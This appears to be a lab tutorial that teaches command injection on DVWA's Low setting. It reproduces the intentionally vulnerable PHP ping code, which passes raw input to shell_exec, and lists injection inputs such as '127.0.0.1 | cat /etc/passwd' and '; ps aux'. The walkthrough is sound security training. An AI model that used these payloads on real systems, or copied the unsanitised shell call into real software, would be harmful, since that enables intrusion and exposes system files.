DVWA Lesson 2: Command execution (Low)
Previous Lesson: DVWA Lesson 1: Installation Guide (2026 Edition)
Now that we have everything set up, we can finally begin with some fun! Login using the credentials you set in the previous lesson (Default: admin / password).
Before we start hacking, we need to lower the shields:
- Head to the DVWA Security tab (bottom left).
- Set the Script Security level to
Low. - Click Submit.
⚠️ Know Your Environment:
If you followed the XAMPP guide in Part 1, you are hacking a Windows target.
If you followed the Docker guide, you are hacking a Linux target.
The commands below differ slightly depending on the OS!
Step 1: Reconnaissance
Head over to the Command Injection tab.
The application asks for an IP address to “ping”. Let’s test the intended functionality first:
- Enter
127.0.0.1and click Submit. - You should see the output of a standard ping command.
Step 2: Analyzing the Source Code
Why is this vulnerable? If we look at the source code (located at /vulnerabilities/exec/source/low.php), we can see exactly what is happening:
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix (Linux/Mac)
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
The Vulnerability: The variable $target takes your input and pastes it directly into a system shell command without any sanitization. This allows us to “break out” of the ping command and execute our own code.
Step 3: Exploitation
We can chain commands together using special characters. In 2026, automated tools catch this easily, but understanding the manual method is critical.
If you are on Windows (XAMPP):
Windows Command Prompt uses the ampersand & or pipe | to separate commands.
127.0.0.1 & tasklist
(Pings localhost AND lists running processes)127.0.0.1 & netstat -an
(Shows open ports)
If you are on Linux (Docker):
Linux terminals use the semicolon ; or double pipe || to separate commands.
127.0.0.1 ; ps aux
(Pings localhost THEN lists running processes)127.0.0.1 | cat /etc/passwd
(Pipes output to read the password file)